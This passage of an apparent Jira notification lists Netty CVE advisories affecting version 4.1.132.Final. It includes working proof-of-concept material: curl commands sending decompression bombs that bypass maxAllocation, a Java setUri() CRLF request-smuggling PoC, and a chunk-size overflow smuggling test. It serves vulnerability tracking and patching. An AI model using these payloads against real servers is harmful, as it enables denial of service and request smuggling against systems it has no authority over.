\\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at
1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES
maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no
maxAllocation\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding:
br' \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory →
OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and
`Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An
attacker can cause out-of-memory conditions on any Netty server that relies on
`maxAllocation` for decompression bomb protection, by simply using a non-gzip
content encoding.\n- **False sense of security**: Developers who explicitly
configure `maxAllocation` t",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-44249",
"severity": "HIGH",
"cvss": 8.1,
"description": "### Summary\nAn attacker can bypass IPv6 subnet rules due
to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid
public IP addresses can bypass the restrictions.\n\n###
Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)`
method performs a bitwise AND between the incoming IP address and the
configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess
Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
"published_date": "2026-06-09",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-45416",
"severity": "HIGH",
"cvss": 7.5,
"description": "SslClientHelloHandler.decode() reads the 24-bit TLS
handshake length and, when the ClientHello does not fit in the first record,
eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard
at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength
!= 0`, and the commonly-used SniHandler/AbstractSniHandler constructors
(SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass
maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is
disabled and no timeout is scheduled. A 16 MiB request exceeds the default
pooled chunk size and becomes a huge/unpooled allocation performed immediately.
The buffer is retained in the handler until the channel closes.",
"published_date": "2026-06-09",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-48043",
"severity": "HIGH",
"cvss": 7.5,
"description": "### Impact\n\nThe `DelegatingDecompressorFrameListener`
class orchestrates HTTP/2 decompression by embedding a per-stream
`EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate,
zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed
chunk is a pooled `ByteBuf` handed to an anonymous
`ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner
responsible for releasing it.\n\nA remote peer could send frames that would
result in the flow-controller throwing and so trigger a resource leak which at
the end might take down the whole JVM due OOME.",
"published_date": "2026-06-11",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50010",
"severity": "HIGH",
"cvss": 7.5,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any
user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends
X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain,
authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg
delegate. Because the object now IS an X509ExtendedTrustManager, neither
SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own
OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification.
Consequently, even though Netty 4.2 sets
endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with
`SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)`
performs no hostname verification at all. Versions 4.1.135.Final and
4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-41417",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "### Summary\nNetty allows request-line validation to be
bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created
first and its URI is later changed via `setUri()`.\n\nThe constructors reject
CRLF and whitespace characters that would break the start-line, but `setUri()`
does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then
write the URI into the request line verbatim. If attacker-controlled input
reaches `setUri()`, this enables CRLF injection and insertion of additional
HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling /
desynchronization on the HTTP side and request injection on the RTSP
side.\n\n### Details\nThe root issue is that URI validation exists only on the
constructor path, but not on the public setter path.\n\n-
`io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls
`HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)`
only performs `checkNotNull` and does not validate\n-
`io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)`
delegates to the parent implementation\n-
`io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()`
directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n
- Writes `request.uri()` directly into the request line\n\nThis creates the
following bypass:\n\n1. An application creates a `DefaultHttpRequest` or
`DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input
is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes
that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets
the injected bytes after CRLF as separate requests\n\nThis appears to be an
incomplete fix pattern where start-line validation exists, but can still be
bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code
first creates a normal request object and then injects a malicious request line
using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport
io.netty.channel.embedded.EmbeddedChannel;\nimport
io.netty.handler.codec.http.DefaultHttpRequest;\nimport
io.netty.handler.codec.http.HttpMethod;\nimport
io.netty.handler.codec.http.HttpRequestEncoder;\nimport
io.netty.handler.codec.http.HttpServerCodec;\nimport
io.netty.handler.codec.http.HttpVersion;\nimport
io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n
public static void main(String[] args) {\n EmbeddedChannel client = new
EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server =
new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest
request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,
HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\"
+\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\"
+\n \"content-length: 11\\r\\n\\r\\n\" +\n
\"Hello World\" +\n \"GET /s1\");\n\n
client.writeOutbound(request);\n ByteBuf outbound =
client.readOutbound();\n\n System.out.println(\"=== Raw encoded request
===\");\n
System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n
System.out.println(\"=== Decoded by HttpServerCodec ===\");\n
server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n
while ((msg = server.readInbound()) != null) {\n
System.out.println(msg);\n }\n\n outbound.release();\n
client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n
}\n}\n```\n\nWhen reproduced, the raw encoded request looks like
this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length:
11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as
multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST
/s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the
value supplied through `setUri()` is interpreted on the wire as additional
requests.\n\n### PoC (RTSP)\nThe same root cause also affects `",
"published_date": "2026-05-05",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42580",
"severity": "MEDIUM",
"cvss": 6.5,
"description": "### Summary\nNetty's chunk size parser silently overflows
int, enabling request smuggling attacks.\n\n###
Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently
overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult
+= digit;\n\nThe result is checked only for negative values. However, with a
carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe
test below shows Netty successfully parsing the second request, demonstrating
how an attacker can smuggle a second request inside a chunked
body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST /
HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n
\"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\"
+\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n
\"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n
\"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n
\"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new
HttpRequestDecoder());\n
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr,
CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request =
channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n
HttpContent content = channel.readInbound();\n
assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\",
content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n
LastHttpContent last = channel.readInbound();\n
assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n //
Request 2\n request = channel.readInbound();\n
assertTrue(request.decoderResult().isSuccess());\n last =
channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n
last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects
arbitrary HTTP requests",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-45673",
"severity": "MEDIUM",
"cvss": 6.8,
"description": "### Summary\nNetty's DNS resolver uses a predictable PRNG
for generating DNS transaction IDs and defaults to a static UDP source port.
This combination reduces the entropy of DNS queries, enabling DNS Cache
Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this
vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs:
`DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It
initializes only the first bucket. When an ID is returned, it is pushed back
into the bucket at a random index generated by
java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random =
ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count +
1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver
operates within a single bucket, the sequence of IDs is predictable once the
PRNG state is mathematically recovered.\n\n- Default Static Source Port:
`DnsNameResolverBuilder` defaults to a `channelStrategy` of
`ChannelPerResolver`. This binds the DatagramChannel once, resulting in a
static source port for all subsequent queries.\n\nCombined, a static source
port and predictable transaction IDs reduces the entropy required to secure DNS
resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. Downstream
applications using the default Netty DNS resolver may connect to malicious IPs,
leading to traffic interception or MitM attacks.",
"published_date": "2026-06-09",
"package": "netty-resolver-dns",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-47244",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "### Impact\nDefaultHttp2Connection.DefaultEndpoint
initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings
never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default
(Http2Settings.java:305-307 only clamps a user-supplied value). Unless the
application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty
HTTP/2 server advertises no limit and enforces none locally. Each open stream
allocates a DefaultStream object, PropertyMap slots, flow-controller state and
IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP
connection can create hundreds of thousands of long-lived stream objects. This
is also the precondition for CVE-2023-44487-style Rapid-Reset amplification,
where the absence of a low concurrent cap multiplies backend work.\n\n###
Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2";,
"published_date": "2026-06-09",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50020",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
before reading the first request-line, `HttpObjectDecoder` skips every byte for
which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all
whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines
preceding the request-line — a carefully scoped robustness allowance intended
to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX,
and other non-CRLF control characters goes significantly beyond this, and can
be exploited for request-boundary confusion in pipelined or multiplexed
transports where a front-end component treats those bytes differently. Versions
4.1.135.Final and 4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50560",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
Netty HTTP/2 max header size handling produces an attack similar to HTTP/2
Rapid Reset. There is a setting in the http2 specification called
`SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it
appears that Netty will behave as follows: read the request; proxy the request
to the origin; attempt to produce a response; and create an exception while
writing the headers for the response. Functionally, this should be similar to
the http2 reset attack, but with a different on-the-wire signature. Versions
4.1.135.Final and 4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
}
]{noformat}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
